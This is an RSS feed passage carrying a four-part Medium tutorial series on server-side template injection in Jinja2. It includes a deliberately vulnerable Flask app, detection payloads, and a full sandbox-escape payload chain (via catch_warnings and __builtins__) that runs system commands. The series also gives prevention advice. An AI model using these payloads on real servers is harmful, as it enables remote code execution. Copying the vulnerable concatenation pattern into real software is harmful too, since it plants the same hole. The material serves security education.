            <content:encoded><![CDATA[<p>بسم الله الرحمن الرحيم</p><h4>Introduction</h4><p>Template Injection is one of those sneaky vulnerabilities that can turn a simple input field into a hacker’s playground. In this writeup, we’ll explore how I built a vulnerable Flask app with Jinja2, exploited it to execute system commands, and turned a basic flaw into a serious risk how code can go wrong, stick around as we break it down step by step.</p><h4>What is Template Injection?</h4><p>Template Injection happens when a web app lets user input get processed directly by a template engine (like Jinja2) without proper sanitization. Instead of just displaying “Hello, Ahmed,” an attacker can inject malicious code — like {{7*7}} — and if the app evaluates it to “Hello, 49,” you’ve got a problem. It’s not just math, though; with the right tricks, you can escalate this to full command.</p><h4>Setting Up the Vulnerable App</h4><p>To demo this, I created a simple Flask app with Jinja2. Here’s the core code (full repo linked below):</p><pre>from flask import Flask, request, render_template_string<br>import jinja2<br><br>app = Flask(__name__)<br><br># Vulnerability point: Takes user input and renders it directly in the template without sanitization<br>@app.route(&#39;/display_name&#39;, methods=[&#39;GET&#39;])<br>def display_name():<br>    # Get the &#39;name&#39; parameter from the URL query string, default to empty string if not provided<br>    name = request.args.get(&#39;name&#39;, &#39;&#39;)<br>    # Simple template string with user input injected directly<br>    template = f&quot;&lt;html&gt;&lt;h1&gt;Hello, {name}!&lt;/h1&gt;&lt;/html&gt;&quot;<br>    try:<br>        # Render the template string without any security checks - this is where the vulnerability lies<br>        return render_template_string(template)<br>    except Exception as e:<br>        # Return any errors that occur (e.g., undefined variables or execution failures)<br>        return f&quot;Error: {str(e)}&quot;<br><br># Default route to provide a simple form for testing<br>@app.route(&#39;/&#39;)<br>def index():<br>    # Basic HTML form to submit the &#39;name&#39; parameter to /display_name<br>    return &#39;&#39;&#39;<br>    &lt;h1&gt;Test Template Injection&lt;/h1&gt;<br>    &lt;form action=&quot;/display_name&quot; method=&quot;GET&quot;&gt;<br>        &lt;input type=&quot;text&quot; name=&quot;name&quot; placeholder=&quot;Enter your name or payload&quot;&gt;<br>        &lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&gt;<br>    &lt;/form&gt;<br>    &#39;&#39;&#39;<br><br>if __name__ == &#39;__main__&#39;:<br>    # Run the Flask app in debug mode on localhost:5000<br>    app.run(debug=True, host=&#39;localhost&#39;, port=5000)</pre><h4>Run it with:</h4><pre>pip install Flask Jinja2<br>python app.py</pre><p>Visit <a href="http://localhost:5000,">http://localhost:5000,</a> and you’ll see a form. This app takes whatever you type in the name field and renders it in a Jinja2 template — ripe for exploitation.</p><p>I want you to solve this challenge which is to display system files using command dir or ls We do not try to use os.system Because the order will be executed and will not bring you any results. Try to find other ways that do same work os.system And it gives you the result</p><blockquote>I will leave you with the affected code and let you search for how to fix this code and make it more secure.</blockquote><blockquote>We have previously explained this vulnerability in detail in these articles.</blockquote><ul><li><a href="https://medium.com/@BugsH2R/explain-the-server-side-template-injection-part-1-64f08a3147ab">Explain The Server-Side Template injection (Part 1)</a></li><li><a href="https://medium.com/@BugsH2R/explain-the-server-side-template-injection-part-2-dcdc839ca05f">Explain The Server-Side Template injection (Part 2)</a></li><li><a href="https://medium.com/@BugsH2R/explain-the-server-side-template-injection-part-3-79a8552f3499">Explain The Server-Side Template injection (Part 3)</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4a607d212f96" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Explain The Server-Side Template injection (Part 3)]]></title>
            <link>https://medium.com/@Zeno0/explain-the-server-side-template-injection-part-3-79a8552f3499?source=rss-165f062b394b------2</link>
            <guid isPermaLink="false">https://medium.com/p/79a8552f3499</guid>
            <dc:creator><![CDATA[Zeno]]></dc:creator>
            <pubDate>Tue, 25 Feb 2025 14:47:25 GMT</pubDate>
            <atom:updated>2025-02-25T14:47:25.863Z</atom:updated>
            <content:encoded><![CDATA[<p>بسم الله الرحمن الرحيم</p><h3>Introduction</h3><blockquote><em>“Previously, we explored how to identify template injection vulnerabilities and determine the template engine in use. Now, let’s take things a step further — turning this simple flaw into a serious security risk that could lead to full system compromise.”</em></blockquote><h3>Escalating the Attack</h3><p>Once you’ve determined the template engine in use, you can start to escalate the vulnerability you’ve found. Most of the time, you can simply use the 7*7 payload introduced in the preceding section to prove the template injection to the security team. But if you can show that the template injection can be used to accomplish more than simple mathematics, you can prove the impact of your bug and show the security team its value. Your method of escalating the attack will depend on the template engine you’re targeting. To learn more about it, read the official documentation of the template engine and the accompanying programming language. <br> — (e.g., execute system commands) highlights its severity. The escalation method depends on the engine (e.g., Jinja2 here). Executing commands lets attackers access sensitive files (like /etc/shadow on Linux), alter configs, escalate privileges, or attack other network devices, proving the bug’s high impact.</p><blockquote>In this section we will talk about Python in Escalating the Attack</blockquote><p>Searching for System Access via Python Code</p><p>Let’s circle back to our example. We already know that you can execute Python code by using this template injection vulnerability. But how do you go on to execute system commands by injecting Python code?</p><pre>from jinja2 import Template<br>tmpl = Template(&quot;<br>&lt;html&gt;&lt;h1&gt;The user&#39;s name is: &quot; + user_input + &quot;&lt;/h1&gt;&lt;/html&gt;&quot;)print(tmpl.render())</pre><p>Normally in Python, you can execute system commands via the os.system() function from the os module. For example, this line of Python code would execute the Linux system command ls to display the contents of the current directory: os.system(‘ls’)</p><p>However, if you submit this payload to our example application, you most likely won’t get the results you expect:</p><pre>GET /display_name?name={{os.system(&#39;ls&#39;)}}<br>Host: [example.com](http://example.com/)</pre><p>Instead, you’ll probably run into an application error:</p><pre>jinja2.exceptions.UndefinedError: &#39;os&#39; is undefined</pre><p>This is because the os module isn’t recognized in the template’s environment. By default, it doesn’t contain dangerous modules like os. <br>Normally, you can import Python modules by using the syntax import MODULE, or from MODULE import, or finally import(‘MODULE’). Let’s try to import the os module:</p><pre>GET /display_name?name=&quot;{{import(&#39;os&#39;).system(&#39;ls&#39;)}}&quot; <br>Host: [example.com](http://example.com/) </pre><p>If you submit this payload to the application, you will probably see another error returned:</p><pre>jinja2.exceptions.UndefinedError: &#39;import&#39; is undefined</pre><p>This is because you can’t import modules within Jinja templates. Most template engines will block the use of dangerous functionality such as import or make an allowlist that allows users to perform only certain operations within the template. To escape these limitations of Jinja2, you need to take advantage of Python sandbox-escape techniques.</p><h3>Escaping the Sandbox by Using Python Built-in Functions</h3><p>escaping the sandbox using Python’s built-in functions. This happens when you’re dealing with a restricted environment (like a sandbox), meaning you can’t import certain modules or even import anything at all. Here, you’ve got to use your brain and take advantage of the functions that Python provides ready-made without needing to import them.</p><h3>The Basic Idea</h3><p>In Python, there are a lot of built-in functions tied to the Object Class, and that means if you want to use these functions, you can create an object (something like an entity) and call that function as a method of it. For example, if you’ve got a GET request that contains Python code, like this:</p><pre>GET /display_name?name=&quot;{{[].__class__.__bases__[0].__subclasses__()}}&quot;<br> Host: example.com</pre><p>When you inject this code into a vulnerability called “Template Injection,” you’ll see a list of the classes available in Python, like this:</p><pre>[&lt;class &#39;type&#39;&gt;, &lt;class &#39;weakref&#39;&gt;, &lt;class &#39;weakcallableproxy&#39;&gt;, &lt;class<br>&#39;weakproxy&#39;&gt;, &lt;class &#39;int&#39;&gt;, &lt;class &#39;bytearray&#39;&gt;, &lt;class &#39;bytes&#39;&gt;, &lt;class<br>&#39;list&#39;&gt;, &lt;class &#39;NoneType&#39;&gt;, &lt;class &#39;NotImplementedType&#39;&gt;, &lt;class<br>&#39;traceback&#39;&gt;, &lt;class &#39;super&#39;&gt;, &lt;class &#39;range&#39;&gt;, &lt;class &#39;dict&#39;&gt;, &lt;class &#39;dict_<br>keys&#39;&gt;, &lt;class &#39;dict_values&#39;&gt;, &lt;class &#39;dict_items&#39;&gt;, &lt;class &#39;dict_reverse<br>keyiterator&#39;&gt;, &lt;class &#39;dict_reversevalueiterator&#39;&gt;, &lt;class &#39;dict_reverseitem<br>iterator&#39;&gt;, &lt;class &#39;odict_iterator&#39;&gt;, &lt;class &#39;set&#39;&gt;, &lt;class &#39;str&#39;&gt;, &lt;class<br>&#39;slice&#39;&gt;, &lt;class &#39;staticmethod&#39;&gt;, &lt;class &#39;complex&#39;&gt;, &lt;class &#39;float&#39;&gt;, &lt;class<br>&#39;frozenset&#39;&gt;, &lt;class &#39;property&#39;&gt;, &lt;class &#39;managedbuffer&#39;&gt;, &lt;class &#39;memory<br>view&#39;&gt;, &lt;class &#39;tuple&#39;&gt;, &lt;class &#39;enumerate&#39;&gt;, &lt;class &#39;reversed&#39;&gt;, &lt;class<br>&#39;stderrprinter&#39;&gt;, &lt;class &#39;code&#39;&gt;, &lt;class &#39;frame&#39;&gt;, &lt;class &#39;builtin_function_<br>or_method&#39;&gt;, &lt;class &#39;method&#39;&gt;, &lt;class &#39;function&#39;&gt;...]</pre><p>This list is all the classes that inherit from the base class object. So how does this happen? Let me break down the code step by step:</p><p>### Breaking Down the Code</p><p># [].__class__ :</p><p>It first creates an empty list and calls its __class__ attribute, which refers to the class</p><p># [].__class__.__bases__ :</p><p>Then you can use the __bases__ attribute to refer to the base classes of the list class</p><p># [].__class__.__bases__[0] :</p><p>This attribute will return a tuple (which is just an ordered list in Python) of all the base classes of the class list. A base class is a class that the current class is built from; list has a base class called object. Next, we need to access the object class by referring to the first item in the tuple</p><p># [].__class__.__bases__[0].__subclasses__() :</p><p>Finally, we use __subclasses__() to refer to all the subclasses of the class.</p><p>When you use this code, it spits out all the available classes, and from here, we start playing around to see how we can exploit them.</p><h3>The Goal: Executing Commands</h3><p>Our goal is to find a way to execute commands on the system. But we need to understand that not all Python environments are the same meaning the available classes might differ from one application to another, and the solution I’m about to explain might not work on everything.</p><p>In Python, there’s a built-in function called __import__, and it’s used to import modules. But if the application (like Jinja2, for example) blocks you from using it directly, you’ve got to play it smart and access it indirectly. That’s where we use the __builtins__ module, which contains all of Python’s built-in functions and classes. You can reach this module through any other class that has a __builtins__ attribute.</p><h3>Practical Step: Finding the Right Class</h3><p>In the list we got from .<strong>__subclasses__</strong>(), there’s a class called catch_warnings. This is a class we can exploit. To find it, we use a loop in our code like this:</p><pre>{% for x in [].__class__.__bases__[0].__subclasses__() %}<br>{% if &#39;catch_warnings&#39; in x.__name__ %}<br>{{x()}}<br>{% endif %} <br>{% endfor %}</pre><ul><li>This loop goes through all the classes in .__subclasses__().<br>- When it finds a class with catch_warnings in its name, it calls it (instantiates it) to create an object from it.</li><li>When you create an object from catch_warnings, that object has an attribute called _module, which returns a module named warnings. And this module has a __builtins__ attribute, which lets us access all the built-in functions in Python, like this:</li></ul><pre>{% for x in [].__class__.__bases__[0].__subclasses__() %} <br>{% if &#39;catch_warnings&#39; in x.__name__ %} <br>{{x()._module.__builtins__}}<br>{% endif %} <br>{% endfor %}</pre><p>When you run this code, it gives you a dictionary containing all the built-in functions, including __import__.</p><h3>Using __import__to Get a Module</h3><p>Now that we have a way to reach **import**, we can use it to import a module like os, for example, and from there execute commands on the system. The code would look like this:</p><pre>{% for x in [].__class__.__bases__[0].__subclasses__() %}<br>{% if &#39;catch_warnings&#39; in x.__name__ %} <br>{{x()._module.__builtins__[&#39;__import__&#39;](&#39;os&#39;)}}<br>{% endif %}<br>{% endfor %}</pre><p>Here, we’re importing the os module. After that, we can use the system() function in os to execute a command, like this:</p><pre>{% for x in [].__class__.__bases__[0].__subclasses__() %}<br>{% if &#39;catch_warnings&#39; in x.__name__ %}<br>{{x()._module.__builtins__[&#39;__import__&#39;](&#39;os&#39;).system(&#39;ls&#39;)}}<br>{% endif %} <br>{% endfor %}</pre><p>If the application is running on Linux, for example, the ls command will list the contents of the current directory. If it’s on Windows, you could replace it with dir, for instance.</p><h3>Different Systems, Different Tricks</h3><p>Different template engines require different escalation techniques. If exploring this interests you, I encourage you to do more research into the area. Code execution and sandbox escapes are truly fascinating topics. If you are interested in learning more about sandbox escapes, these articles discuss the topic in more detail (this chapter’s example was developed from a tip in Programmer Help):<br>• CTF Wiki, <a href="https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/">https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/</a><br>python-sandbox-escape/<br>• HackTricks, <a href="https://book.hacktricks.xyz/misc/basic-python/">https://book.hacktricks.xyz/misc/basic-python/</a><br>bypass-python-sandboxes/<br>• Programmer Help, <a href="https://programmer.help/blogs/python-sandbox-escape.html">https://programmer.help/blogs/python-sandbox-escape.html</a></p><blockquote><em>“We are using Python as an example to demonstrate how this attack works. However, be aware that there might be slight variations in how the attack unfolds in other programming languages. To fully understand the scope, it’s important to research and explore similar techniques for different languages.”</em></blockquote><h3>I wish you always success</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=79a8552f3499" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Explain The Server-Side Template injection (Part 2)]]></title>
            <link>https://medium.com/@Zeno0/explain-the-server-side-template-injection-part-2-dcdc839ca05f?source=rss-165f062b394b------2</link>
            <guid isPermaLink="false">https://medium.com/p/dcdc839ca05f</guid>
            <dc:creator><![CDATA[Zeno]]></dc:creator>
            <pubDate>Sun, 23 Feb 2025 12:41:14 GMT</pubDate>
            <atom:updated>2025-02-23T12:41:14.771Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hunting for Server-Side Template Injection</h3><ul><li>the first step in finding template injections is to identify locations in an application that accept user input.</li></ul><blockquote><em>Steps</em></blockquote><h3>1. Look for User-Input Locations</h3><ul><li>Look for locations where you can submit user input to the application. These include URL paths, parameters, fragments, HTTP request headers and body, file uploads, and more.</li><li>Templates are typically used to dynamically generate web pages from stored data or user input. For example, applications often use template engines to generate customized email or home pages based on the user’s information. So to look for template injections, look for endpoints that accept user input that will eventually be displayed back to the user.</li></ul><h3>2.Detect Template Injection by Submitting Test Payloads</h3><ol><li>To find a Template Injection vulnerability, put a test string into the input fields you found earlier. Use this string: {{1+abcxx}}${1+abcxx}&lt;%1+abcxx%&gt;[abcxx]. It’s made to cause errors in popular template systems:</li></ol><ul><li>${…} for Java templates (FreeMarker, Thymeleaf).</li><li>{{…}} for PHP (Smarty, Twig) and Python (Jinja2) templates.</li><li>&lt;% … %&gt; for Ruby templates (ERB).</li><li>[abcxx] checks if the server sees it as a list in an expression.</li></ul><p>This string tries to use a variable “abcxx” that doesn’t exist. If you get an error, it means there’s a Template Injection vulnerability because the special characters are treated as code. If no error shows (server hides errors), try another way.</p><ul><li>Also test these: ${7_7}, {{7_7}}, and &lt;%7*7%&gt;:</li><li>${7*7} for Java templates.</li><li>{{7*7}} for PHP and Python templates.</li><li>&lt;%7*7%&gt; for Ruby templates.</li></ul><p>If the site returns “49”, it’s running your input as code, confirming the vulnerability.</p><ol><li>When testing endpoints for Template Injection, know that results might not show up right away. Your input could be used in a template later like in a webpage, email, or file and there might be a delay. Check for signs of success, like looking at a generated email if the app uses your input unsafely in bulk emails.</li><li>The payloads ${7<em>7}, {{7</em>7}}, and &lt;%7*7%&gt; work if your input is added as plain text in the template, like this:</li></ol><pre>from jinja2 import Template <br>tmpl = Template(&quot;&lt;html&gt;&lt;h1&gt;The user&#39;s name is: &quot; + user_input + &quot;&lt;/h1&gt;&lt;/html&gt;&quot;)print(tmpl.render())</pre><ol><li>But if your input is added inside the template’s logic, like this:</li></ol><pre>from jinja2 import Template<br> tmpl = Template(&quot;&lt;html&gt;&lt;h1&gt;The user&#39;s name is: {{&quot; + user_input + &quot;}}&lt;/h1&gt;&lt;/html&gt;&quot;)print(tmpl.render())</pre><p>Here, your input is already inside {{...}}, so you don’t need extra tags. Just send 7<em>7 (e.g., GET /display_name?name=7</em>7) and check if &quot;49&quot; comes back. If it does, the server treats your input as code, meaning there’s a vulnerability.</p><h3>3.Determine the Template Engine in Use</h3><p>After confirming a Template Injection vulnerability, figure out which template engine the site uses so you can exploit it properly. You’ll need to write your payload in the language that engine understands</p><p>If your payload caused an error, the error message might name the engine. For example, sending {{1+abcxx}}${1+abcxx}&lt;%1+abcxx%&gt;[abcxx] to a Python app might show:</p><pre>jinja2.exceptions.UndefinedError: &#39;abcxx&#39; is undefined</pre><p>This means it’s Jinja2. If no error appears, test specific payloads:</p><ul><li>&lt;%7*7%&gt; returns “49” → likely ERB.</li><li>${7*7} works → could be Smarty or Mako.</li><li>{{7<em>7}} returns “49” → likely Jinja2 or Twig.</em></li><li><em>Test {{7</em>&#39;7&#39;}} next: {</li><li>“7777777” means Jinja2.</li><li>“49” means Twig.}</li></ul><p>These tests come from PortSwigger research</p><p><a href="https://portswigger.net/research/server-side-template-injection/">https://portswigger.net/research/server-side-template-injection/</a></p><p>Many engines exist, often using similar symbols, so you might need multiple tests to be sure</p><h3>Automating Template Injection</h3><p>Writing exploits for every system takes time, but templates often have known vulnerabilities others have found. When you spot a Template Injection flaw, automate the process to save effort.The <strong>tplmap</strong> tool</p><p><a href="https://github.com/epinna/tplmap/">GitHub - epinna/tplmap: Server-Side Template Injection and Code Injection Detection and Exploitation Tool</a></p><p>helps by scanning for vulnerabilities, identifying the template engine, and building exploits. It doesn’t cover all engines but works well for popular ones, making it a great starting point.</p><h3>How to Prevent This Vulnerability</h3><ul><li><strong>Update Regularly</strong>: Keep your frameworks and template libraries updated. New versions fix Template Injection risks as developers find ways to block these attacks.</li><li><strong>Block User Templates</strong>: Stop users from sending their own templates if you can. If not, use a “sandbox” mode from the template engine to limit risky features — though it’s not perfect since hackers can sometimes break it.</li><li><strong>Use an Allowlist</strong>: Set a list of allowed features in templates to stop dangerous attacks like RCE (remote code execution).</li><li><strong>Hide Errors</strong>: Don’t show detailed error messages to users — they help attackers. Show a simple error page instead.</li><li><strong>Sanitize Input:</strong> Make sure to check and clean user input before adding it to templates. Even better, avoid using user</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dcdc839ca05f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Explain The Server-Side Template injection (Part 1)]]></title>
            <link>https://medium.com/@Zeno0/explain-the-server-side-template-injection-part-1-64f08a3147ab?source=rss-165f062b394b------2</link>
            <guid isPermaLink="false">https://medium.com/p/64f08a3147ab</guid>
            <dc:creator><![CDATA[Zeno]]></dc:creator>
            <pubDate>Sat, 22 Feb 2025 21:17:25 GMT</pubDate>
            <atom:updated>2025-08-03T12:28:52.954Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>introduction :</blockquote><ul><li>Template engines are a type of software used to determine the appearance of a web page. Developers often overlook attacks that target these engines, called server-side template injections (SSTIs), yet they can lead to severe consequences, like remote code execution. They have become more common in the past few years, with instances found in the applications of organizations such as Uber and Shopify</li></ul><blockquote><strong><em>Mechanisms:</em></strong></blockquote><blockquote><em>To grasp how template injections occur, you first need to understand how template engines function. In simple terms, these engines merge application data — like a user’s name from a database — with web templates, written in languages like Jinja, to create dynamic web pages. This process lets developers define how pages should look while keeping server-side logic (e.g., data processing) separate from client-side design (e.g., HTML styling).</em></blockquote><blockquote><strong>What is a Template Engine?</strong></blockquote><ul><li>Imagine you have a web application that uses a <strong>Template Engine</strong> like <strong>Jinja2</strong> (used in Python). Simply put, the Template Engine takes data from the server and inserts it into an HTML page in an organized way. This helps developers separate the <strong>server-side logic (Back-end)</strong> from the <strong>page design (Front-end)</strong></li><li>Simply put, a <strong>Template Engine</strong> is a system used in web development that allows <strong>data to be merged with templates</strong> to generate dynamic web pages. This is useful because it helps separate the <strong>backend logic</strong> from the <strong>frontend design</strong>.</li></ul><blockquote><strong>How Does It Work?</strong></blockquote><ul><li>Imagine you have a website that displays a list of products. Instead of writing static <strong>HTML</strong> for each product, you can use a <strong>Template Engine</strong> to create a <strong>single reusable template</strong>, and the server will automatically <strong>populate it with data</strong> from a database or another source</li></ul><blockquote><strong>Why Use Template Engines?</strong></blockquote><ul><li>Template engines <strong>improve efficiency</strong> in rendering web pages by allowing developers to reuse templates while presenting different data dynamically.</li></ul><blockquote><strong>Key Benefits of Template Engines</strong></blockquote><ul><li><strong>Reusability</strong> → Developers can use the same template to generate multiple pages with different content.</li><li><strong>Standardized Formatting</strong> → Ensures consistency across multiple pages (e.g., product listings, user profiles).</li><li><strong>Separation of Concerns</strong> → HTML code is kept separate from business logic, making it easier to modify and maintain.</li><li><strong>Efficiency</strong> → Reduces redundancy and speeds up development.</li></ul><blockquote><strong>example on Jinja at python</strong></blockquote><blockquote><strong>What is Jinja?</strong></blockquote><ul><li>Jinja is a <strong>template language for Python</strong> used to generate dynamic HTML pages.</li><li>It allows separating <strong>backend logic</strong> from <strong>frontend presentatio</strong></li></ul><pre>from jinja2 import Template<br>with open(&#39;example.jinja&#39;) as f: <br>    tmpl = Template(f.read())    <br>    print(tmpl.render(       <br>    list_title =  &quot;Chapter Contents&quot;, <br>    list_description =  &quot;Here are the contents of chapter 16.&quot;,   <br>    item_list =  [&quot;Mechanisms Of Template Injection&quot;,   <br>        &quot;Preventing Template Injection&quot;,      <br>     &quot;Hunting For Template Injection&quot;,        <br>    &quot;Escalating Template Injection&quot;,         <br>   &quot;Automating Template Injection&quot;,         <br>    &quot;Find Your First TemplateInjection!&quot;]       <br>      )) <br> &lt;html&gt;<br> &lt;body&gt;  <br>   &lt;h1&gt;{{ list_title }}&lt;/h1&gt; <br>    &lt;h2&gt;{{ list_description }}&lt;/h2&gt; <br>     {% for item in item_list %}    <br>     {{ item }}     <br>    {% if not loop.last %}, <br>{% endif %}    <br> {% endfor %} <br>&lt;/body&gt;<br> &lt;/html&gt;</pre><pre> --------------------<br> # Result after executing the code<br> &lt;html&gt; <br>&lt;body&gt; <br>&lt;h1&gt;Chapter Contents&lt;/h1&gt; <br>&lt;h2&gt;Here are the contents of chapter 16.&lt;/h2&gt; <br>Mechanisms Of Template Injection,<br> Preventing Template Injection, <br>Hunting For Template Injection,<br> Escalating Template Injection,<br> Automating Template Injection, <br>Find Your First Template Injection!<br> &lt;/body&gt; &lt;/html&gt;</pre><blockquote><strong>Key Points:</strong></blockquote><ul><li><strong>{{ list_title }} &amp; </strong><strong>{{ list_description }}</strong> → These are <strong>expressions</strong> that inject dynamic values into the HTML.</li><li><strong>{% for item in item_list %}</strong> → This is a <strong>loop statement</strong> that iterates over a list of items.</li><li><strong>{% if not loop.last %},{% endif %}</strong> → This ensures that a comma , is added <strong>between items</strong>, except for the last one.</li></ul><blockquote><strong>Jinja Syntax Rules</strong></blockquote><ul><li><strong>{{ }} (Expressions)</strong> → Used for variables or functions that return values.</li><li><strong>{% %} (Statements)</strong> → Used for control structures (loops, conditionals, etc.)</li></ul><h3>Template Injection</h3><ul><li><strong>Template injection vulnerabilities</strong> occur when user input is inserted into templates without proper sanitization, allowing attackers to inject and execute malicious code. For example, a safe approach (like the first code snippet) passes user input as data into a Jinja2 template using render() with defined variables (list_title, list_description, item_list). This prevents injection because the input is treated as plain data, not executable code.</li><li>However, danger arises when developers concatenate user input directly into the template string, as in Template</li></ul><p>(“&lt;html&gt;&lt;h1&gt;The user’s name is: “ + user_input + “&lt;/h1&gt;&lt;/html&gt;”). Here, the template engine (Jinja2) can’t distinguish between user input and template logic. For instance:</p><ul><li>A benign input like Vickie displays &lt;h1&gt;The user’s name is: Vickie&lt;/h1&gt;.</li><li>But an input like {{1+1}} executes as Python code, resulting in &lt;h1&gt;The user’s name is: 2&lt;/h1&gt;.</li><li>Worse, {{‘Vickie’.upper()}} returns &lt;h1&gt;The user’s name is: VICKIE&lt;/h1&gt;, showing how attackers can run arbitrary Python expressions.</li></ul><p><strong>Key takeaway:</strong> Direct concatenation blurs the line between data and code, enabling attackers to inject and execute harmful commands Depending on the system’s permissions, this could lead to serious exploits like reading sensitive files or escalating privileges. To stay safe, always pass user input as variables to render(), never embed it directly into the template</p><h3>example:</h3><pre>#secure code<br>from jinja2 import Template<br>with open(&#39;example.jinja&#39;) as f:  # Assumes example.jinja is a predefined template<br>    tmpl = Template(f.read())<br>    user_input = {&quot;title&quot;: &quot;{{1+1}}&quot;, &quot;description&quot;: &quot;Test&quot;, &quot;list&quot;: [&quot;Item1&quot;, &quot;Item2&quot;]}<br>    print(tmpl.render(<br>        list_title=user_input[&quot;title&quot;],<br>        list_description=user_input[&quot;description&quot;],<br>        item_list=user_input[&quot;list&quot;]</pre><blockquote><strong>Why Is This Safe?</strong></blockquote><ul><li>This code is <strong>not vulnerable to template injection</strong> for a key reason:</li><li><strong>User input is passed as data, not code</strong>: The values from user_input (e.g., title, description, list) are supplied to render() as variables. Jinja2 treats them as plain data to display, not as executable template logic.</li><li><strong>No direct concatenation</strong>: Unlike the dangerous example (Template(“… “ + user_input + “…”)), this code doesn’t mix user input directly into the template string. The template (example.jinja) is predefined and separate from the input.</li></ul><blockquote><strong>What If User Input Is Malicious?</strong></blockquote><pre>- If user_input.title = &quot;{{1+1}}&quot;, the output will be &lt;h1&gt;{{1+1}}&lt;/h1&gt; (literal text), not &lt;h1&gt;2&lt;/h1&gt;. Jinja2 escapes it unless explicitly told otherwise.<br>- If user_input.title = &quot;&lt;script&gt;alert(&#39;hack&#39;)&lt;/script&gt;&quot;, it’ll render as &lt;h1&gt;&amp;lt;script&amp;gt;alert(&#39;hack&#39;)&amp;lt;/script&amp;gt;&lt;/h1&gt; (HTML-escaped by default), preventing script execution in a browser.</pre><blockquote><strong>Key Points:</strong></blockquote><ol><li><strong>Safe Design</strong>: By passing user input as variables to render(), the template engine knows it’s data, not instructions, avoiding injection risks.</li><li><strong>Separation</strong>: The template logic (in example.jinja) is isolated from user input, unlike concatenating input into the template string.</li><li><strong>Default Escaping</strong>: Jinja2 automatically escapes special characters (e.g., &lt;, &gt;) unless you disable it, adding an extra layer of security.</li></ol><pre>#vulnerable code<br> from jinja2 import Template <br>tmpl = Template(&quot;&lt;html&gt;&lt;h1&gt;The user&#39;s name is: &quot; + user_input + &quot;&lt;/h1&gt;&lt;/html&gt;&quot;)<br> print(tmpl.render())</pre><blockquote><strong>What’s Happening Here?</strong></blockquote><ul><li><strong>from jinja2 import Template</strong>: Imports the Template class from Jinja2, a library for creating dynamic templates in Python.</li><li><strong>tmpl = Template(“…”)</strong>: Creates a template by combining a static HTML string (&lt;html&gt;&lt;h1&gt;The user’s name is: ) with user_input (a variable assumed to hold user-provided data) and closing it with &lt;/h1&gt;&lt;/html&gt;. The + operator concatenates these directly into the template string</li><li><strong>print(tmpl.render())</strong>: Renders the template and prints the resulting HTML. Since no variables are passed to render(), Jinja2 processes whatever was embedded in the template string.</li></ul><blockquote><strong>Why Is This Dangerous?</strong></blockquote><ul><li>This code is <strong>vulnerable to template injection</strong> because:</li></ul><ol><li><strong>Direct Concatenation</strong>: You’re embedding user_input directly into the template string using +. Jinja2 can’t tell what’s user input versus template logic, so it interprets anything in {{ }} as executable Python code.</li><li><strong>No Separation</strong>: Unlike passing input as variables (e.g., render(name=user_input)), here the input becomes part of the template itself. If a user submits {{1+1}}, Jinja2 executes it instead of treating it as plain text.</li><li><strong>Arbitrary Code Execution</strong>: Attackers can inject Python expressions like {{‘secret’.upper()}} or worse (e.g., accessing system functions if allowed), potentially leading to:</li></ol><ul><li>Exposure of sensitive data.</li><li>System compromise, depending on the app’s permissions</li></ul><blockquote>Key Points:</blockquote><ol><li><strong>Vulnerability</strong>: Concatenating user_input into the template string opens the door to template injection, where user input can be executed as code.</li><li><strong>Execution Risk</strong>: Anything in {{ }} from the user (e.g., {{1+1}}, {{‘text’.upper()}}) runs as Python, not just displays as text.</li><li><strong>Fix</strong>: Pass user input as variables to render(), keeping template logic separate from data.</li><li><strong>Real-World Impact</strong>: If this runs on a web server, attackers could craft inputs to manipulate the app, steal data, or escalate privileges.</li></ol><h3>Final Security Tip</h3><blockquote><em>To prevent SSTI risks, pass user input as context variables, avoid letting user-controlled content become part of the template logic, ensure proper escaping and validation, and use sandboxing when possible.</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=64f08a3147ab" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>